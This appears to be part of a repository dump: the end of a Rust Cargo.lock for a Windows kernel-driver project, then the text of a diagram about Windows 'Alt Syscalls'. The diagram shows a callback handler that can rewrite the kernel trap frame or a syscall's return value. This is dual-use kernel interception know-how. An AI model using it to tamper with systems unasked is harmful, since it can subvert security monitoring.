[[package]] 739 | name = "wdk-macros" 740 | version = "0.4.0" 741 | source = "registry+https://github.com/rust-lang/crates.io-index" 742 | checksum = "f9e371a885e23b11de5b579368571f2403f1767b629008ad7de462f84db01d28" 743 | dependencies = [ 744 | "cfg-if", 745 | "fs4", 746 | "itertools", 747 | "proc-macro2", 748 | "quote", 749 | "scratch", 750 | "serde", 751 | "serde_json", 752 | "syn", 753 | ] 754 | 755 | [[package]] 756 | name = "wdk-panic" 757 | version = "0.3.1" 758 | source = "registry+https://github.com/rust-lang/crates.io-index" 759 | checksum = "9e2b724a14f327229f37923f5edaacf83aab295762b94b6a391fa14cd9eac550" 760 | 761 | [[package]] 762 | name = "wdk-sys" 763 | version = "0.4.0" 764 | source = "registry+https://github.com/rust-lang/crates.io-index" 765 | checksum = "0afb20bec3a2627f0fd0ead3bc76f5ad7dcb9fa87e51f7851d08f74f29a3625f" 766 | dependencies = [ 767 | "anyhow", 768 | "bindgen", 769 | "cargo_metadata", 770 | "cc", 771 | "cfg-if", 772 | "rustversion", 773 | "serde_json", 774 | "thiserror", 775 | "tracing", 776 | "tracing-subscriber", 777 | "wdk-build", 778 | "wdk-macros", 779 | ] 780 | 781 | [[package]] 782 | name = "winapi" 783 | version = "0.3.9" 784 | source = "registry+https://github.com/rust-lang/crates.io-index" 785 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 786 | dependencies = [ 787 | "winapi-i686-pc-windows-gnu", 788 | "winapi-x86_64-pc-windows-gnu", 789 | ] 790 | 791 | [[package]] 792 | name = "winapi-i686-pc-windows-gnu" 793 | version = "0.4.0" 794 | source = "registry+https://github.com/rust-lang/crates.io-index" 795 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 796 | 797 | [[package]] 798 | name = "winapi-x86_64-pc-windows-gnu" 799 | version = "0.4.0" 800 | source = "registry+https://github.com/rust-lang/crates.io-index" 801 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 802 | 803 | [[package]] 804 | name = "windows" 805 | version = "0.58.0" 806 | source = "registry+https://github.com/rust-lang/crates.io-index" 807 | checksum = "dd04d41d93c4992d421894c18c8b43496aa748dd4c081bac0dc93eb0489272b6" 808 | dependencies = [ 809 | "windows-core", 810 | "windows-targets 0.52.6", 811 | ] 812 | 813 | [[package]] 814 | name = "windows-core" 815 | version = "0.58.0" 816 | source = "registry+https://github.com/rust-lang/crates.io-index" 817 | checksum = "6ba6d44ec8c2591c134257ce647b7ea6b20335bf6379a27dac5f1641fcf59f99" 818 | dependencies = [ 819 | "windows-implement", 820 | "windows-interface", 821 | "windows-result", 822 | "windows-strings", 823 | "windows-targets 0.52.6", 824 | ] 825 | 826 | [[package]] 827 | name = "windows-implement" 828 | version = "0.58.0" 829 | source = "registry+https://github.com/rust-lang/crates.io-index" 830 | checksum = "2bbd5b46c938e506ecbce286b6628a02171d56153ba733b6c741fc627ec9579b" 831 | dependencies = [ 832 | "proc-macro2", 833 | "quote", 834 | "syn", 835 | ] 836 | 837 | [[package]] 838 | name = "windows-interface" 839 | version = "0.58.0" 840 | source = "registry+https://github.com/rust-lang/crates.io-index" 841 | checksum = "053c4c462dc91d3b1504c6fe5a726dd15e216ba718e84a0e46a88fbe5ded3515" 842 | dependencies = [ 843 | "proc-macro2", 844 | "quote", 845 | "syn", 846 | ] 847 | 848 | [[package]] 849 | name = "windows-link" 850 | version = "0.1.3" 851 | source = "registry+https://github.com/rust-lang/crates.io-index" 852 | checksum = "5e6ad25900d524eaabdbbb96d20b4311e1e7ae1699af4fb28c17ae66c80d798a" 853 | 854 | [[package]] 855 | name = "windows-result" 856 | version = "0.2.0" 857 | source = "registry+https://github.com/rust-lang/crates.io-index" 858 | checksum = "1d1043d8214f791817bab27572aaa8af63732e11bf84aa21a45a78d6c317ae0e" 859 | dependencies = [ 860 | "windows-targets 0.52.6", 861 | ] 862 | 863 | [[package]] 864 | name = "windows-strings" 865 | version = "0.1.0" 866 | source = "registry+https://github.com/rust-lang/crates.io-index" 867 | checksum = "4cd9b125c486025df0eabcb585e62173c6c9eddcec5d117d3b6e8c30e2ee4d10" 868 | dependencies = [ 869 | "windows-result", 870 | "windows-targets 0.52.6", 871 | ] 872 | 873 | [[package]] 874 | name = "windows-sys" 875 | version = "0.52.0" 876 | source = "registry+https://github.com/rust-lang/crates.io-index" 877 | checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" 878 | dependencies = [ 879 | "windows-targets 0.52.6", 880 | ] 881 | 882 | [[package]] 883 | name = "windows-sys" 884 | version = "0.59.0" 885 | source = "registry+https://github.com/rust-lang/crates.io-index" 886 | checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" 887 | dependencies = [ 888 | "windows-targets 0.52.6", 889 | ] 890 | 891 | [[package]] 892 | name = "windows-targets" 893 | version = "0.52.6" 894 | source = "registry+https://github.com/rust-lang/crates.io-index" 895 | checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" 896 | dependencies = [ 897 | "windows_aarch64_gnullvm 0.52.6", 898 | "windows_aarch64_msvc 0.52.6", 899 | "windows_i686_gnu 0.52.6", 900 | "windows_i686_gnullvm 0.52.6", 901 | "windows_i686_msvc 0.52.6", 902 | "windows_x86_64_gnu 0.52.6", 903 | "windows_x86_64_gnullvm 0.52.6", 904 | "windows_x86_64_msvc 0.52.6", 905 | ] 906 | 907 | [[package]] 908 | name = "windows-targets" 909 | version = "0.53.3" 910 | source = "registry+https://github.com/rust-lang/crates.io-index" 911 | checksum = "d5fe6031c4041849d7c496a8ded650796e7b6ecc19df1a431c1a363342e5dc91" 912 | dependencies = [ 913 | "windows-link", 914 | "windows_aarch64_gnullvm 0.53.0", 915 | "windows_aarch64_msvc 0.53.0", 916 | "windows_i686_gnu 0.53.0", 917 | "windows_i686_gnullvm 0.53.0", 918 | "windows_i686_msvc 0.53.0", 919 | "windows_x86_64_gnu 0.53.0", 920 | "windows_x86_64_gnullvm 0.53.0", 921 | "windows_x86_64_msvc 0.53.0", 922 | ] 923 | 924 | [[package]] 925 | name = "windows_aarch64_gnullvm" 926 | version = "0.52.6" 927 | source = "registry+https://github.com/rust-lang/crates.io-index" 928 | checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" 929 | 930 | [[package]] 931 | name = "windows_aarch64_gnullvm" 932 | version = "0.53.0" 933 | source = "registry+https://github.com/rust-lang/crates.io-index" 934 | checksum = "86b8d5f90ddd19cb4a147a5fa63ca848db3df085e25fee3cc10b39b6eebae764" 935 | 936 | [[package]] 937 | name = "windows_aarch64_msvc" 938 | version = "0.52.6" 939 | source = "registry+https://github.com/rust-lang/crates.io-index" 940 | checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" 941 | 942 | [[package]] 943 | name = "windows_aarch64_msvc" 944 | version = "0.53.0" 945 | source = "registry+https://github.com/rust-lang/crates.io-index" 946 | checksum = "c7651a1f62a11b8cbd5e0d42526e55f2c99886c77e007179efff86c2b137e66c" 947 | 948 | [[package]] 949 | name = "windows_i686_gnu" 950 | version = "0.52.6" 951 | source = "registry+https://github.com/rust-lang/crates.io-index" 952 | checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" 953 | 954 | [[package]] 955 | name = "windows_i686_gnu" 956 | version = "0.53.0" 957 | source = "registry+https://github.com/rust-lang/crates.io-index" 958 | checksum = "c1dc67659d35f387f5f6c479dc4e28f1d4bb90ddd1a5d3da2e5d97b42d6272c3" 959 | 960 | [[package]] 961 | name = "windows_i686_gnullvm" 962 | version = "0.52.6" 963 | source = "registry+https://github.com/rust-lang/crates.io-index" 964 | checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" 965 | 966 | [[package]] 967 | name = "windows_i686_gnullvm" 968 | version = "0.53.0" 969 | source = "registry+https://github.com/rust-lang/crates.io-index" 970 | checksum = "9ce6ccbdedbf6d6354471319e781c0dfef054c81fbc7cf83f338a4296c0cae11" 971 | 972 | [[package]] 973 | name = "windows_i686_msvc" 974 | version = "0.52.6" 975 | source = "registry+https://github.com/rust-lang/crates.io-index" 976 | checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" 977 | 978 | [[package]] 979 | name = "windows_i686_msvc" 980 | version = "0.53.0" 981 | source = "registry+https://github.com/rust-lang/crates.io-index" 982 | checksum = "581fee95406bb13382d2f65cd4a908ca7b1e4c2f1917f143ba16efe98a589b5d" 983 | 984 | [[package]] 985 | name = "windows_x86_64_gnu" 986 | version = "0.52.6" 987 | source = "registry+https://github.com/rust-lang/crates.io-index" 988 | checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" 989 | 990 | [[package]] 991 | name = "windows_x86_64_gnu" 992 | version = "0.53.0" 993 | source = "registry+https://github.com/rust-lang/crates.io-index" 994 | checksum = "2e55b5ac9ea33f2fc1716d1742db15574fd6fc8dadc51caab1c16a3d3b4190ba" 995 | 996 | [[package]] 997 | name = "windows_x86_64_gnullvm" 998 | version = "0.52.6" 999 | source = "registry+https://github.com/rust-lang/crates.io-index" 1000 | checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" 1001 | 1002 | [[package]] 1003 | name = "windows_x86_64_gnullvm" 1004 | version = "0.53.0" 1005 | source = "registry+https://github.com/rust-lang/crates.io-index" 1006 | checksum = "0a6e035dd0599267ce1ee132e51c27dd29437f63325753051e71dd9e42406c57" 1007 | 1008 | [[package]] 1009 | name = "windows_x86_64_msvc" 1010 | version = "0.52.6" 1011 | source = "registry+https://github.com/rust-lang/crates.io-index" 1012 | checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" 1013 | 1014 | [[package]] 1015 | name = "windows_x86_64_msvc" 1016 | version = "0.53.0" 1017 | source = "registry+https://github.com/rust-lang/crates.io-index" 1018 | checksum = "271414315aff87387382ec3d271b52d7ae78726f5d44ac98b4f4030c91880486" 1019 | -------------------------------------------------------------------------------- /img/full.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |
ntdll.dll
ntdll.dll
Syscall boundary
Syscall boundary
KiSystemCall64
KiSystemCall64
mov r10, rcx
mov rax. SSN
syscall
mov r10, rcx...
Kernel thread stack
Kernel thread stack
rsp of KiSystemCall64
rsp of KiSystemCall64
_KTRAP_FRAME start
_KTRAP_FRAME start
_KTRAP_FRAME end
_KTRAP_FRAME end
...
...
Alt Syscalls enabled?
Alt Syscalls ena...
NtTraceEvent
NtTraceEvent
No
No
PsSyscallProvider
Dispatch
PsSyscallProvider...
rsp - 0x68
rsp - 0x68
PsSyscallProvider
DispatchGeneric
PsSyscallProvider...
rsp - 0x100
rsp - 0x100
Our callback handler
Our callback handler
rsp - 0x5D8
rsp - 0x5D8
We can now directly modify the _KTRAP_FRAME data on the stack
We can now directly modify the...
rsp+70h = ret value to usermode
rsp+70h = ret valu...
Or we can modify the return value from the syscall (presuming we prevent the kernel dispatching it 
Or we can modify the return value f...
Return value
Return value
sysexit (return to usermode)
sysexit (return to u...
1
1
0
0
--------------------------------------------------------------------------------